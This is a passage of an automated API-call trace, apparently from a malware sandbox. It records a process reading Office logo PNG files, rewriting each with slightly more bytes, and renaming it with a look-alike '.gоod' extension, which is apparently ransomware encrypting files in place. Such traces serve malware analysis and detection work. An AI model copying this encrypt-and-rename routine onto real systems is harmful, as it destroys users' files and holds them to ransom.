lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6e [0212.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0212.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7aaa589e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0212.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0212.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0212.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0212.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0212.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x348d360 | out: lpFileInformation=0x348d360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0212.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0212.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0212.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.151] GetFileType (hFile=0x808) returned 0x1 [0212.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.151] GetFileType (hFile=0x808) returned 0x1 [0212.151] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x800 [0212.151] ReadFile (in: hFile=0x808, lpBuffer=0x348df18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x348df18*, lpNumberOfBytesRead=0x1fcee238*=0x800, lpOverlapped=0x0) returned 1 [0212.155] CloseHandle (hObject=0x808) returned 1 [0212.166] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0212.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.167] GetFileType (hFile=0x808) returned 0x1 [0212.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.167] GetFileType (hFile=0x808) returned 0x1 [0212.167] WriteFile (in: hFile=0x808, lpBuffer=0x3507c10*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3507c10*, lpNumberOfBytesWritten=0x1fcee148*=0x810, lpOverlapped=0x0) returned 1 [0212.168] CloseHandle (hObject=0x808) returned 1 [0212.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0212.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6e [0212.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0212.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7aacbabf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0212.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0212.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0212.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0212.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0212.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3508f78 | out: lpFileInformation=0x3508f78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x552)) returned 1 [0212.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0212.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0212.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.170] GetFileType (hFile=0x808) returned 0x1 [0212.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.170] GetFileType (hFile=0x808) returned 0x1 [0212.170] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x552 [0212.170] ReadFile (in: hFile=0x808, lpBuffer=0x3509888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3509888*, lpNumberOfBytesRead=0x1fcee238*=0x552, lpOverlapped=0x0) returned 1 [0212.476] CloseHandle (hObject=0x808) returned 1 [0212.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0212.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.491] GetFileType (hFile=0x808) returned 0x1 [0212.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.491] GetFileType (hFile=0x808) returned 0x1 [0212.491] WriteFile (in: hFile=0x808, lpBuffer=0x34ccb50*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34ccb50*, lpNumberOfBytesWritten=0x1fcee148*=0x560, lpOverlapped=0x0) returned 1 [0212.492] CloseHandle (hObject=0x808) returned 1 [0212.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0212.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6d [0212.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0212.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7adeccbe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0212.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0212.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0212.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0212.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0212.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x34cdeb8 | out: lpFileInformation=0x34cdeb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a)) returned 1 [0212.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0212.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0212.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.495] GetFileType (hFile=0x808) returned 0x1 [0212.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.495] GetFileType (hFile=0x808) returned 0x1 [0212.495] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x60a [0212.495] ReadFile (in: hFile=0x808, lpBuffer=0x34ce880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34ce880*, lpNumberOfBytesRead=0x1fcee238*=0x60a, lpOverlapped=0x0) returned 1 [0212.497] CloseHandle (hObject=0x808) returned 1 [0212.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0212.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.509] GetFileType (hFile=0x808) returned 0x1 [0212.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.510] GetFileType (hFile=0x808) returned 0x1 [0212.510] WriteFile (in: hFile=0x808, lpBuffer=0x3549cc0*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3549cc0*, lpNumberOfBytesWritten=0x1fcee148*=0x610, lpOverlapped=0x0) returned 1 [0212.510] CloseHandle (hObject=0x808) returned 1 [0212.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0212.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6e [0212.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0212.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7ae12ecf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x610)) returned 1 [0212.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0212.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0212.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0212.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x354b028 | out: lpFileInformation=0x354b028*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c6)) returned 1 [0212.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0212.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0212.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0212.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0212.513] GetFileType (hFile=0x808) returned 0x1 [0212.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0212.513] GetFileType (hFile=0x808) returned 0x1 [0212.513] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6c6 [0212.513] ReadFile (in: hFile=0x808, lpBuffer=0x354baa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x354baa8*, lpNumberOfBytesRead=0x1fcee238*=0x6c6, lpOverlapped=0x0) returned 1 [0212.793] CloseHandle (hObject=0x808) returned 1 [0213.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0213.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0213.779] GetFileType (hFile=0x630) returned 0x1 [0213.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0213.779] GetFileType (hFile=0x630) returned 0x1 [0213.779] WriteFile (in: hFile=0x630, lpBuffer=0x35e2b00*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35e2b00*, lpNumberOfBytesWritten=0x1fcee148*=0x6d0, lpOverlapped=0x0) returned 1 [0213.780] CloseHandle (hObject=0x630) returned 1 [0213.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0213.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6e [0213.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0213.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7ba24cdd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6d0)) returned 1 [0213.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0213.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0213.781] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0213.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0213.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program 